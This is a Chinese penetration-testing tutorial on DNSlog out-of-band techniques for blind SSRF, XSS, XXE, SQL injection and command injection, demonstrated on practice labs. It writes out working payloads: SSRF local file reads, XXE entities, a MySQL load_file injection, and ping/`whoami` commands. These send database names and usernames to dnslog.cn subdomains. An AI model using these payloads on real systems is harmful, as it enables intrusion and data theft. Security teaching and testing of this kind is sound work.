文章目录

  • 前言
  • SSRF 盲打
  • XSS的盲打
  • XXE的盲打
  • SQL的盲注
  • RCE的盲打
  • 总结

前言

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。

DNS 的全称是 Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如 www.baidu.com,网络上的 DNS Server 会将该域名解析,并找到对应的真实 IP 如 127.0.0.1,使用户可以访问这台服务器上相应的服务。

了解到了什么是 DNS,那么什么又是 DNSlog 呢?

DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件, DNSlog 在线平台如下:

基本原理

我注册了一个为 a.com 的域名,我将他 a 记录泛解析到 10.0.0.0 上,这样就实现了无论我记录值填什么他都有解析,并且都指向 10.0.0.0,当我向 dns 服务器发起 test.a.com 的解析请求时,DNSlog 中会记录下他给 test.a.com 解析,解析值为 10.0.0.0(通俗来讲就是我们申请一个 dnslog 的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog 平台就会把请求的记录显示出来)。

SSRF 盲打

前面写过一篇博文介绍了 SSRF 漏洞的基本原理 Web安全-SSRF漏洞。之所以想学习下 DNSlog 并记录本文也是因为看到某渗透报告里面记录一个通过 DNSlog 盲打 SSRF 漏洞,是自己之前没接触过的技能点……

SSRF盲打实例

在某系统的机票信息存在导出功能:
修改导出信息的请求中queryPath参数的路径为自己的 DNSlog:
可以看到 DNSlog 平台成功记录访问请求,证明存在 SSRF 漏洞:

靶场实例练习

1、来看看 Pikachu 靶场一个 SSRF 漏洞 实例:
点击链接发现发现它通过一个 url 参数传递了一个 URL 给后台并读取文件(可能靶场环境问题此处没成功读取到诗歌文件url=http://127.0.0.1/lab/vul/ssrf/ssrf_info/info1.php):
2、修改 url 参数为如下,可借助 SSRF 漏洞进行内网端口探测:

url=http://127.0.0.1:3306

发现服务器开放了 3306 端口:

3、修改 url 参数为如下,可借助 SSRF 漏洞读取本地文件:

url=file:///C:/Windows/system32/drivers/etc/hosts

成功读取到 Windows 服务器的本地 hosts 文件信息:

4、在 DNSlog 平台申请一个子域名 ny5l42.dnslog.cn,然后访问 ?url=http://ny5l42.dnslog.cn,如下:
刷新 DNSlog 服务器的记录,发现靶场发起的访问请求记录:

XSS的盲打

众所周知,在实战中能真正能构成致命性损伤的 XSS 类型就是储存型 XSS,一般是从前台打到后台,一般反射型 XSS 我们常见做法一般是给自己弹个 alert 就可以知道这个语句有没有执行,有没有被屏蔽。但是前台打到后台的储存型盲打 XSS 我们肯定是不可能通过 alert 去验证漏洞是否存在。弹 alert 必然是要惊动管理员,况且就算在后台弹窗了,我们也看不到。

为了解决这个问题,也为了学习 DNSlog 的利用,我们继续跟着原理造轮子,比如说这有个留言框,我们输入个 Payload 如下:

好的管理员!<script src=http://testxss.a.com></script>

因为 script 标签的 src 是在加载后就自动去请求的,并且 http 协议仍然会用到 dns 协议,当管理员从留言板看到这条消息的时候浏览器就会自动去请求 http://testxss.a.com,这样子的话,就会在 DNSlog 里留下如下记录:

testxss.a.com 10.0.0.0

当我们在 dnslog 里看到了这条记录的时候,就说明盲打 XSS 存在了。

靶场 XSS 盲打实例

1、同样以 Pikachu 靶场的一个 XSS 漏洞环境为例:

2、插入 <script>alert(1)</script>即可触发弹窗:
3、接下来插入<script src=http://pqiczg.dnslog.cn></script>
4、可以在 DNSlog 平台看到对应的请求记录:

此处的 Payload 使用<img src="http://pqiczg.dnslog.cn">也可以。

XXE的盲打

关于 XXE 漏洞的基础知识可以看我的另一篇博文:Web安全-XXE漏洞,此处截图核心:
对于没有回显的 XXE 漏洞,同样可以使用 DNSlog 平台进行漏洞检测。

XXE 盲打靶场实例

1、同样以 Pikachu 靶场的 XXE 漏洞环境为例:

2、先构建常规测试 Payload:

<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY hacker "Tr0e">
]>
<name>&hacker;</name>

执行结果如下:

3、借助 XXE 漏洞构造读取本地文件的 Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

执行效果如下:

4、假设这是一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://111.4s1b2n.dnslog.cn" > ]>
<foo>&xxe;</foo>

执行效果如下:

SQL的盲注

不论是布尔型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代 WAF 的防护下,很可能导致 IP 被 ban。我们可以结合 DNSlog 完美快速的将数据取出。如遇到 MySql 的盲注时,可以利用内置函数 load_file() 来完成 DNSlog,load_file()不仅能够加载本地文件,同时也能对诸如 \\www.test.com 这样的URL发起请求。

4s1b2n.dnslog.cn来举例子,我直接扔 Payload 伙伴们自己理解下原理:

select load_file('\\\\SQL注入查询语句.4s1b2n.dnslog.cn')

上面就是 select_load_file 的用法,我们来看看实际的 Payload,比如说注入语句我们这么写:

' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+

很经典的查询数据库名的 Payload,那么上面 Payload 执行后,最终数据库将执行什么呢,我们来猜测一下。

SELECT * FROM article WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+

不难想象当上面这个执行后,我们将在我们的 DNSlog 里查到的记录为以下内容:

数据库一名字.a.com 10.0.0.0
数据库二名字.a.com 10.0.0.0
数据库三名字.a.com 10.0.0.0
数据库四名字.a.com 10.0.0.0
...

SQL盲注靶场实例

1、下面同样以 Pikachu 靶场的 SQL 盲注(布尔型)漏洞环境为例:

2、输入kobe' and 1=1#可成功查询:

3、输入kobe' and 1=2#查询失败:

4、输入利用 DNSlog 回显数据库名称的 Payload:

kobe' and if((select load_file(concat('\\\\',(select database()),'.096lsv.dnslog.cn'))),1,0)#

执行效果如下:

我自己执行失败……原因不详……图中是别人的图,请各位大佬指教!

RCE的盲打

操作系统 盲注方式
windows %variable%
linux variable 反引号

此处使用公网一个 DVWA 靶场( Windows 系统搭建)为例进行演示,Payload:%USERNAME%.u4f95y.dnslog.cn,如下所示:
此时 DNSlog 也会回显打印当前系统登录的用户的名称:
Windows 常用变量:

//变量                 类型       描述
//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
//%CD%                                                        本地       返回当前目录字符串。
//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%      系统       返回计算机的名称。
//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                         系统       指定可执行文件的搜索路径。
//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%                   本地       返回包含用户帐户的域的名称。
//%USERNAME%                     本地       返回当前登录的用户的名称。
//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
//%WINDIR%                       系统       返回操作系统目录的位置。

如果是 Linux 环境,则 Payload 对应的应该为:

ping `whoami`.u4f95y.dnslog.cn

总结

本文参考文章:

  1. DNSlog平台各种利用姿势(盲注);
  2. DNSlog在渗透测试中的应用;
  3. 命令执行无回显的一些姿势 ;
  4. Dnslog在SQL注入中的实战 。

浅析DNSlog在渗透测试中的实战技巧相关推荐

  1. 渗透测试中的msiexec

    本文讲的是渗透测试中的msiexec, 0x00 前言 在上篇研究了ClickOnce的渗透技巧,接触到了安装包的概念.关于安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,所以这 ...

  2. 详述MySQL服务在渗透测试中的利用

    本文作者:i春秋签约作家--Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...

  3. 【3】web安全入门篇-渗透测试中常用的命令

    1.linux命令 渗透测试中常用的linux命令 上面博客提到的基本都能满足需求 2.cmd命令 常用的cmd命令 cmd命令和linux命令常用的对于web入门的萌新可以看看上面博客,多敲一敲用的 ...

  4. certutil在渗透测测试中的使用技巧

    转发至:https://www.cnblogs.com/backlion/p/7325228.html 一系列渗透测试和开发技巧 作者: 3gstudent https://github.com/3g ...

  5. 如何在渗透测试中尽可能隐藏自己-proxychains4使用配置教程

    在渗透测试中,往往需要对自身电脑ip进行网络上的隐藏,如何才能快速简单的在网络扫描中简单实现匿名扫描呢? Proxychains帮助我们完成这一操作 那么 ,proxychains是什么? GNU协议 ...

  6. 渗透测试中信息收集的那些事

    渗透测试中信息收集的那些事 转载自:TideSec(知名安全团队)--VllTomFord(大佬)------https://www.cnblogs.com/OpenCyberSec/p/107941 ...

  7. 渗透测试中常用端口及利用

    渗透测试中常用端口及利用 端口 服务 入侵方式 21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门 22 ssh远程连接 爆破/openssh漏洞 23 Telnet远程连接 爆 ...

  8. 监控渗透测试中Certutil利用行为

    简介 Certutil.exe是作为证书服务的一部分安装的命令行程序. 我们可以使用此工具在目标计算机上执行恶意EXE文件,并获取meterpreter会话. 补充说明:在高版本操作系统中,可以通过配 ...

  9. 渗透测试中的端口利用

    渗透测试中的端口利用 我们在进行渗透测试中,一般情况下会对端口进行扫描,看看服务器中开启了哪些端口,对应的端口一般存在对应的服务,而这些服务可能存在相应的漏洞,下面就是简单结束一下端口对应服务,服务可 ...

最新文章

  1. java rsa 存数据库_java – 如何创建RSA密钥对以便将其存储在数据库中?
  2. python批量下载文件-python 从远程批量下载文件到本地
  3. [JSOI2007]合金
  4. MATLAB Simulink中如何实现锁相环
  5. oracle 监听程序当前无法识别连接描述符中请求的服务_最新版Web服务器项目详解 04 http连接处理(上)...
  6. 将tensor转array
  7. WebApi 数据保护操作未成功。这可能是由于未为当前线程的用户上下文加载用户配置文件导致的。当线程执行模拟时,可能会出现此情况。,ExceptionType:System.Security....
  8. php比较营业时间,使用php以人类可读格式从数据库表打印餐厅营业时间
  9. php秒杀框架,yii框架redis结合php实现秒杀效果(实例代码)
  10. 分析 Python 脚本
  11. Redis 通配符查找及批量删除key
  12. 动物识别专家系统python_5G、AI、Python、区块链,看2019上半年这10本技术新书就够了...
  13. UE4 遮挡剔除文档
  14. Sparse sharing 在ANN实现多任务时的应用
  15. 没学编程的孩子,和从小学编程的孩子,差距有多大?
  16. 婚纱预订小程序开发,商家线上展示平台
  17. 经方败案群20150303李小荣讲桂枝芍药知母汤
  18. IE8的调试工具使用详解
  19. android 联系人 中英文排序 --代码仓库
  20. win7的终端服务器,win7系统远程提示终端服务器超出了最大允许连接的解决方法...

热门文章

  1. 常见加密方式DES、AES
  2. Spring中的动态代理,前置通知
  3. 流程引擎问题系列1-No outgoing sequence flow of element
  4. rk3399 Android7.1 预置app
  5. i7 12700T参数 i7 12700T怎么样
  6. RAID5和RAID6区别
  7. 基于JavaWeb在线书城系统
  8. 当了N年的码工,感觉颈椎非常不好,因此设计这样一个笔记本是否会有市场?
  9. QT绘制wifi图标
  10. pcb快板打样是什么意思?